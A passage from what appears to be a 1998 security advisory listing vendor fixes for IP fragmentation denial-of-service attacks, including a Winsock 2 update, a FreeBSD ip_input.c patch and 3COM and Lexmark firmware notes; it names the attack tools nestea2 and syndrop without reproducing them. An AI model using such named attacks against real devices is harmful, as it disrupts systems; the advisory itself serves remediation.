    Windows 95 without Winsock installed is not vulnerable.  All other
    versions of Windows 95 should update to Winsock 2.  Microsoft  has
    released an update called the  "Winsock 2 update" for Windows  95.
    According to Microsoft, this  update contains fixes for  all known
    vulnerabilities in the Windows 95 TCP/IP stack.  Get it at:

	www.microsoft.com/windows95/info/ws2.htm

    Windows 98  RC0 (release  candidate 0)  contains all  known TCP/IP
    updates, and is not vulnerable to this attack.

    Don Lewis posted  a couple of  potential patches for  FreeBSD 3.0R
    -current.  The  following is the  first patch (the  second has the
    same  fix  plus  some  optimization).   The  trick  was  to  use a
    precompiled  Linux  binary,  which  apparently  bypassed a certain
    sanity check in the kernel.

    --- ip_input.c.orig     Fri Oct 23 02:17:19 1998
    +++ ip_input.c  Sun Oct 25 01:50:20 1998
    @@ -750,7 +750,7 @@
	     * if they are completely covered, dequeue them.
	     */
	    for (; q != NULL && ip->ip_off + ip->ip_len > GETIP(q)->ip_off;
    -            p = q, q = nq) {
    +            q = nq) {
		    i = (ip->ip_off + ip->ip_len) -
			GETIP(q)->ip_off;
		    if (i < GETIP(q)->ip_len) {

    The following is 3COM stand.  The first MP series are based on the
    ComOs from Livingston.  This contract will be over end of 1998  so
    3COM will build their own code which is fully compatible.   Trails
    were out for 1  year. This code pilgrim  code is now stable.   The
    Netserver code they distribute  is the 4.x (NetServer  ISDN 8/16).
    Please check the for latest release notes at:

	http://totalservice.usr.com

    Lexmark provided patch  to fix their  firmware so that  it doesn't
    crash when you hit it with nestea2 or syndrop.

    This problem  is not  present in  newer versions  of the JetDirect
    interfaces.